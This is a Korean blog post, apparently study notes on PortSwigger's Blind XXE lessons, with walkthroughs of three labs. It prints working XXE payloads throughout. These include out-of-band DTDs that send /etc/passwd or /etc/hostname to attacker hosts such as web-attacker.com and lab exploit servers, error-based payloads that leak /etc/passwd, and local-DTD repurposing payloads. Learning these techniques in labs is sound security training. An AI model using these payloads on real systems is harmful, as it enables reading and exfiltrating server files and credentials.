※ 영문 사이트를 참조해서 오역이 있을수도 있습니다. 지적해주시면 성실히 수정하도록 하겠습니다.
▶Blind XXE?
Blind XXE vulnerability는 appllication이 XXE Injection 취약점이 있으나 어떠한 external entity정의를 응답에 포함시키지 않을 때 사용된다. 서버 측 파일보기가 직접적으로 가능하지는 않은 관계로 일반적인 XXE vulnerability보다 exploit에 어려움이 있다. Blind XXE의 탐지는 크게 두가지 방식으로 나누어진다.
1. Ouf-Of-Band 네트워크 상호작용을 일으킬 수 있으며, 상호작용하는 데이터와 함께 민감한 데이터를 유출할 수 있다.
2. XML 파싱 에러를 해당 메세지가 민감한 데이터를 포함하게끔 유발할 수 있다.
▶Blind XXE using out-of-band (OAST) techniques
XXE SSRF attack 와 똑같은 technique를 쓰지만 제어하는 시스템에 대한 Out-Of-Band 네트워크 상호작용을 사용해서 Blind XXE를 탐지할 수 있다. 예를 들면, 다음과 같이 External Entity를 정의할 수 있다.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]> |
그리고 해당 정의된 엔티티를 XML안의 데이터값으로 사용할 수 있다. 이러한 XXE 공격은 서버가 백엔드 HTTP 요청을 지정된 URL에 보내게 한다. 해당 공격자는 DNS lookup이나 HTTP 요청결과를 관찰할 수 있고, 따라서 해당 XXE 공격이 성공했는지 감지할 수 있다.
가끔은, regular enetity를 사용하는 XXE 공격이 입력값 인증 또는 사용중인 XML parser의 hardening으로 차단된다. 이 때, XML parameter entity를 사용할 수 있다. XML parameter entity의 경우는 DTD에서만 사용되기 위한 특별한 XML entity이다. 사용법같은 경우, 일단 entity name 앞에 % 기호를 붙여서 선언한다.
<!ENTITY % myparameterentity "my parameter entity value" > |
그리고 나서, parameter entity는 %기호를 & 대신에 사용한다.
%myparameterentity; |
따라서, blind XXE를 parameter entity를 통해 다음과 같이 Out-Of-Band 탐지를 사용해서 확인할 수 있다.
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]> |
이러한 XXE payload 는 xxe라는 parameter entity를 선언하고 해당 entity를 DTD내에서 사용한다. 이는 DNS lookup과 HTTP request가 공격자의 도메인에 발생하게되고, 해당 공격이 성공적인지 확인할 수 있다.
▶Exploiting blind XXE to exfiltrate data out-of-band
out-of-band technique를 통해 blind XXE 취약점을 탐지하는 것은 훌륭하지만, 취약점이 악용될 수 있는 방법은 보여주지 않는다. 공격자가 실제로 목표하는바는 중요 데이터를 유출하는 것이다. 이는 블라인드 XXE 취약점을 통해서 달성할 수 있지만, 공격자가 제어하는 시스템에서 악성 DTD를 hosting하고, in-band XXE payload안에 외부 DTD를 호출한다.
/etc/passwd 파일을 유출하기 위한 악의적인 DTD 의 예시는 다음과 같다.
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate; |
해당 DTD는 다음과 같이 수행된다. 첫번째로 /etc/passwd를 포함하는 file이라 불리는 XML parameter entity를 정의한다. 두번째로 exfiltrate라는 또 다른 XML parameter entity정의를 포함하는 parameter entity인 eval을 정의한다. exfiltrate entity는 HTTP 요청을 file entity의 값을 담아 URL query string으로 공격자의 웹 서버에 전송한다. 세번째로, eval entity를 사용함에 따라 exfiltrate entity가 수행된다. 마지막으로 exfiltrate entity를 사용함에 따라 지정된 URL을 요청하여 해당 값을 eval한다.
공격자는 이후에 반드시 악의적인 DTD를 공격자가 제어하는 시스템에 호스팅해야한다. 보통 개인서버에 올린다. 예를 들면, 공격자는 다음과 같은 URL에 악의적인 DTD를 올릴 수 있다.
http://web-attacker.com/malicious.dtd |
마지막으로, 공격자는 다음과 같은 XXE payload를 취약한 application에 제출한다.
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> |
해당 XXE payload는 xxe라는 XML parameter entity 를 선언하여 DTD안의 entity를 사용한다. 이는 XML 파서가 외부 DTD를 공격자의 서버로부터 가져와 같은 코드라인으로 해석하게 된다.
※ 이 방법은 /etc/passwd 파일에 포함된 줄 바꿈 문자 등을 포함하는 일부 문서에서 작동하지 않을 수 있다. 이는 일부 XML parser가 URL내에 나타날 수 있는 문자의 유효성을 검사하는 API를 사용하여 외부 엔티티 정의에서 URL을 가져오기 때문이다. 이러한 경우에는, FTP프로토콜을 HTTP프로토콜 대신에 사용할 수 있다. 가끔, 개행문자가 포함된 데이터는 추출할 수 없으므로 /etc/hostname과 같은 파일을 대신 대상으로 지정할 수 있다.
실습페이지도 제공해주니 한번 실습해보자 (https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration).
이번에도 쇼핑몰 재고검색 페이지다. 재고 확인 시에 어떤 패킷이 오고가는지 확인해보자.
해당 실습에서는 공격자 서버도 제공하고 있다. 외부 링크에 대한 방화벽이 존재하기 때문에 실습페이지에서 제공하는 공격자서버를 사용할 수 밖에 없다. 공격자 서버에 해당 dtd를 세팅해준다.
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % stack "<!ENTITY % exfil SYSTEM 'https://exploit-0a6f00fd035a9e50c0a2df9401c50086.exploit-server.net/?x=%file;'>"> %stack; %exfil; |
간단하게, file 파라미터 엔티티에는 내가 볼 /etc/hostname 경로를 기입, exfil 파라미터 엔티티에는 응답을 전송할 공격자 서버를(혹은 응답을 볼 수 있는, Burp Suite의 경우는 Collaborator) 기입하고 stack과 exfil 파라미터 엔티티를 사용하는 dtd파일이다.
이젠 버프스위트로 해당 dtd파일을 파라미터 엔티티로 정의해서 불러온다. 다만, 원래있던 xml정의태그와 StockCheck 태그 사이에 파라미터 엔티티 선언과 실행을 넣어준다. Burp Suite로 전송한 XML은 다음과 같다.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY % loadDtd SYSTEM "https://exploit-0a6f00fd035a9e50c0a2df9401c50086.exploit-server.net/exploit"> %loadDtd;]><stockCheck> <productId> 1 </productId> <storeId> 1 </storeId> </stockCheck> |
해당 요청을 전송하면, 해당 파라미터 엔티티가 실행돼서 서버 로그에 /etc/hostname 내용의 기록이 남는다 다음과 같이 말이다.
etc/passwd 파일을 요청하게 되면 여러 라인으로 이루어져 있어서, 일부만 추출할 수 있다. 해결방안으로는 FTP 프로토콜을 이용하는 방법도 있다(21번 포트).
Q. 그냥 XXE와 다르게 왜 이렇게 복잡하게 하는가?
-> Blind 상태라서 그렇다. In-Band 측에서는 서버측의 응답을 볼 수가 없으니, Out-Of-Band 를 이용하는 것이다. Burp Suite로 전송한 패킷은 첫째로 Out-Of-Band 측으로 요청을 전송한다(즉, 외측으로 호스팅된 서버). 만약, 출구 필터링(Egress filtering : 한 네트워크에서 다른 네트워크로 떠나는 정보의 흐름을 잠재적으로 제한하고 모니터링 하는 것.)이 없다면 우리는 Out-Of-Band로 데이터 유출을 시도해볼 수 있다. 이러한 흐름에서, 해당 공격은 dtd를 공격자 호스팅 서버에 달아놓고, 로드시키고, Stack 엔티티 안에 위치한 exfil 엔티티가 데이터를 유출시키고, 끝에 해당 데이터를 달아놓는 식으로 진행이 된다.
▶Exploiting blind XXE to retrieve data via error messages
Blind XXE 접근법의 대안에는 또 내가 탈취하고자 하는 민감한 데이터를 포함하는 XML parsing error를 유발하는 방법이 있다. 이는 application이 응답을 담아서 반환할 때 효과적이다.
다음과 같은 악성 DTD를 사용해서 /etc/passwd 파일의 내용을 포함하는 XML parsing error를 유발할 수 있다.
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; |
해당 DTD는 다음과 같은 단계를 거쳐서 수행된다.
첫번째로, /etc/passwd 파일의 내용을 포함하고 있는 file이라는 XML parameter entity를 정의한다. 다음으로, 동적으로 선언하는 XML parameter entity인 error을 포함하는 XML parameter entity인 eval을 정의한다. 해당 error 엔티티는 파일 엔티티 값을 포함하여 존재하지 않는 파일을 로드하여 오류 엔티티를 eval하게 된다. error 엔티티를 사용하면, 해당 값은 존재하지 않는 파일을 로드시도하면서 해당 value는 eval되게 된다. error message에 존재하지 않는 파일의 이름이 포함되어 나오게 되면서 /etc/passwd 파일 내용이 나오게 된다.
악성 DTD는 다음과 같은 에러메시지를 출력한다.
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... |
실습페이지도 제공해주니 한번 실습해보자 (https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages).
또 쇼핑몰 페이지가 등장한다. 이제 말하지 않아도 check stock을 누르고 패킷을 살펴보게 됐다. 해당 패킷을 살펴보면 여느때와 다르지 않게 XML 형식으로 패킷을 전송한다.
우선, 이번에는 In-band로 에러를 유발하는 파라미터 엔티티를 보내보자. 그럼 다음과 같은 오류가 뜬다.
여기서 짐작을 해볼수 있다. 일전에 했던 blind XXE와 같이 Out-Of-Band로 exploit을하면 가능하지 않을까? 그래서 공격자서버로 요청을 보내봤다.
딱 봐도 응답의 형태가 많이 달라진 것을 확인할 수 있다. 해당 파일이 없다고 요청값을 그대로 반환하는 형태이니, 내가 요청을 보내면 공격자 dtd를 통해 eval된 결과를 그대로 출력할 것이라 기대를 할 수도 있다. 공격자 서버에 테스트로 /a 요청을 넣고 공격자 서버에 요청이 날아왔는지 확인 후, 다음과 같은 dtd를 만들고 exploit을 준비한다.
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; |
그리고 요청을 다음과 같이 전송한다.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [<!ENTITY % loadDtd SYSTEM "https://exploit-0a58006c04119638c046212001a50022.exploit-server.net/exploit"> %loadDtd;]> <stockCheck> <productId> 1 </productId> <storeId> 1 </storeId> </stockCheck> |
그럼 다음과 같이 해당 파일 내용이 반환되는 것을 확인하면 된다.
※ 여러줄의 데이터를 읽을 때 : FTP 등의 URI SCHEME을 SSRF와 함께 사용할 수 있지만, 출구 필터링으로 exploit server로 데이터를 전송하기가 여의치 않을 때가 있다. 두번째 옵션이 에러 메시지를 이용하는 건데, 해당 실습이 그러한 사례이다. 일전의 실습과 똑같이 XXE 공격을 수행할 시, /etc/passwd에는 개행문자(\n)가 있으므로, "XML parser exited with non-zero code 1: Illegal character in URL" 이라는 오류 메시지를 출력한다. 즉, URL로는 출력할 수 없다. 따라서 해결방안으로 없는 파일을 찾는 error을 유발시키게 되면, parser는 ERROR을 출력함과 동시에 /(슬래시)뒤로는 /etc/passwd에 대한 데이터를 출력하게 된다.
해당 실습에서 느낄 수 있는 점은, 첫째로, 에러가 In-Band로 유발되더라도, 다른 엔티티를 위해서 Out-of-Band 상호작용이 필요하다는 점이고, 둘째는 XML parsing error가 여러 줄의 데이터를 보는데 이용할 수 있다는 점이다.
▶Exploiting blind XXE by repurposing a local DTD
일전의 테크닉들을 외부 DTD에선 작동이 잘 되지만, DOCTYPE 요소 내에 지정된 내부 DTD에서는 작동하지 않는다. 해당 테크닉이 또 다른 parameter 엔티티안에 XML 파라미터 엔티티를 사용하기 때문이다. XML에 따라 외부 DTD에서는 해당 테크닉이 허용되지만 내부 DTD에서는 허용되지 않는다(어떤 parser는 허용할수도 있지만 대부분은 허용하지 않는다.).
그러면 Out-Of-Band 상호작용이 막혔을 때 XXE 취약점은 어떻게 해야할까? Out-Of-Band 연결로도 데이터를 유출할 수 없고, 외부 DTD를 외부 서버에서 load할 수도 없다.
이러한 상황에서, 여전히 민감한 정보를 포함한 오류메시지를 유발하는 것이 XML 언어 사양의 허점때문에 가능할 수도 있다. 만약 문서의 DTD가 내외부 DTD선언을 섞어서 쓴다면, 내부 DTD는 외부로 선언된 DTD를 재정의 할 수 있다. 해당되는 일이 발생하면, 다른 parameter 엔티티 내에서 XML parameter 엔티티 사용에 대한 제한이 완화된다.
이는 공격자가 error-based XXE 테크닉을, 외부 DTD안에서 선언된 parameter 엔티티를 공격자가 사용하는 XML parameter 엔티티로 재정의할 수 있다는 조건 아래, internal DTD내에서 수행할 수 수행할 수 있다는 것을 뜻한다. 물론, Out-Of-Band 연결이 막혔으면, 외부 DTD는 외부 주소에서 load할 수 없다. 해당 공격은 local 파일 시스템에 존재하는 DTD 파일을 불러오고 민감한 데이터를 담는 parsing error를 유발하는 방법으로 이미 존재하는 entity를 재정의하여 용도변경하는 것과 관련된다.
예를 들어, DTD파일이 서버 파일시스템에 /usr/local/app/schema.dtd에 있다고 가정하자, 그리고 해당 DTD 파일은 custom_entity라 불리는 엔티티를 정의한다. 공격자는 다음과 같은 hybrid DTD를 전송하여 /etc/passwd에 해당하는 컨텐츠를 포함하는 XML parsing error 메시지를 유발할 수 있다.
<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % custom_entity ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> |
해당 DTD는 다음과 같은 과정을 거친다.
첫째로 서버측 파일 시스템에 존재하는 외부 DTD 파일 local_dtd라는 엔티티를 정의한다. 두번째로 외부 dtd파일에서 이미 정의된 custom_entity라는 XML parameter를 재정의한다. 해당 엔티티는 /etc/passwd 파일의 내용을 포함한 에러메시지를 포함하기 위해서 error-based XXE exploit을 포함한채로 재정의됐다. 마지막으로 local_dtd 엔티티를 사용함으로써, custom_entity 재정의 값을 포함하여 external DTD가 interprete된다. 이렇게 의도된 error 메시지가 나타나게 된다.
▶Locating an existing DTD file to repurpose
XXE 공격이 이미 존재하는 서버측의 DTD를 용도변경하는 것과 관련이 있기 때문에, 핵심은 알맞은 파일을 찾는 것에 있다. 생각보다 찾는건 간단하다. 왜냐하면 해당 application은 XML parser가 제시한 에러메시지를 반환하기 때문에, internal DTD 내에서 load하려고 시도하는 것만으로도 로컬 DTD파일을 쉽게 열거할 수 있다. 예를 들면, 리눅스 시스템은 GNOME 이라는 desktop 환경을 쓰는데 주로 /usr/share/yelp/dtd/docbookx.dtd 경로에 DTD파일이 있다. 다음과 같은 XXE payload를 전송해서 해당 파일이 존재하는지 확인할 수 있는데, 해당 파일이 없다면 오류를 출력하게 된다.
<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> %local_dtd; ]> |
일반적으로 존재하는 DTD 목록을 테스트하여 존재하는 파일을 찾은 후에는 파일의 복사본을 구해서 재정의 할 수 있는 엔티티를 찾아야 한다. DTD파일을 포함하는 많은 일반 시스템은 오픈소스이므로 일반적으로 인터넷 검색으로 파일 복사본을 쉽게 얻을 수 있다.
실습페이지도 제공해주니 한번 실습해보자 (https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd).
쇼핑몰 페이지는 매번 등장하는 것 같다. 어김없이 쇼핑몰 페이지가 뜨는데 재고 검색을 하면 XML 패킷을 보내서 응답을 받아온다.
문제 조건에서 /etc/passwd 파일을 /usr/share/yelp/dtd/docbookx.dtd 라는 로컬 DTD를 통해서 ISOamso 라는 엔티티를 포함해서 탈취하라고 했으므로, 위에서 배운바를 써먹으면 다음과 같은 payload로 existing DTD파일을 용도변경해서 공격할 수 있다.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval " <!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]><stockCheck> <productId> 1 </productId> <storeId> 1 </storeId> </stockCheck> |
그럼 다음과 같이 /etc/passwd 파일을 탈취할 수 있다.
(+) 해당 공격은 ENTITY를 선언 및 참조할 수는 있으나, In-band로 데이터 추출을 할 수 없을 때, 그리고 출구 필터링이 공격자의 Out-Of-Band call을 막고 있을 때 수행할 수 있다.
실제로 file:///etc/passwd로 직접적으로 데이터 추출을 요청하면 XML parsing 형태 에러가 뜬다. 또한, 존재하지 않는 file direction을 요청하면 그러한 파일이나 디렉터리가 없다고 에러가 뜬다.
해당 공격은 Burp Suite Intruder기능을 이용하면 조금 수월하게 진행할 수 있다. 우선, https://github.com/GoSecure/dtd-finder/blob/master/list/dtd_files.txt 에서 dtd파일 시트를 다운받고 해당 디렉토리에 전부 전송을 요청하고 응답을 받기 위해Intruder로 해당 요청을 보낸다.
파일 경로를 add 한 후, payload 란에 해당 시트를 복사 붙여넣기 한다. Payload Encoding을 끄고, Start Attack을 누르면 자동으로 요청을 보내고 응답을 받는데, 다음과 같이 응답 형태를 출력한다.
응답 상태가 200과 400으로 나뉜다. 요청을 보내보면 알겠지만, 파일이 존재할 경우 status 200으로 출력하고 없을 경우 status 400으로 출력한다.
Burp Suite에서 제공한 payload가 있지만, 다음 사이트에 또 다른 payload가 있다. 해당 payload는 fonts.dtd를 덮어쓰는 payload이다. ( https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/)
실제로 fonts.dtd가 존재하기 때문에 해당공격을 수행해도 큰 문제는 없다.
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % expr 'aaa)> <!ENTITY % file SYSTEM "file:///FILE_TO_READ"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message></message> |
정리하자면, In-band로 전혀 데이터를 볼 수 없을 때, 출구필터링이 아주 빡세게 걸려있을 때, local dtd를 열거하고 데이터에 대한 에러를 띄울 수 있을 때 해당 공격을 수행할 수 있다.
출처 : https://portswigger.net/web-security/xxe/blind
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/
https://github.com/GoSecure/dtd-finder/blob/master/list/dtd_files.txt
'정보보안(웹해킹) > XXE(XML External Entity) Vulnerability' 카테고리의 다른 글
DTD 파일 목록 정리 (0) | 2022.12.28 |
---|---|
XML external entity (XXE) injection (0) | 2022.12.26 |
XML(EXtensible Markup Language) (1) | 2022.12.25 |
댓글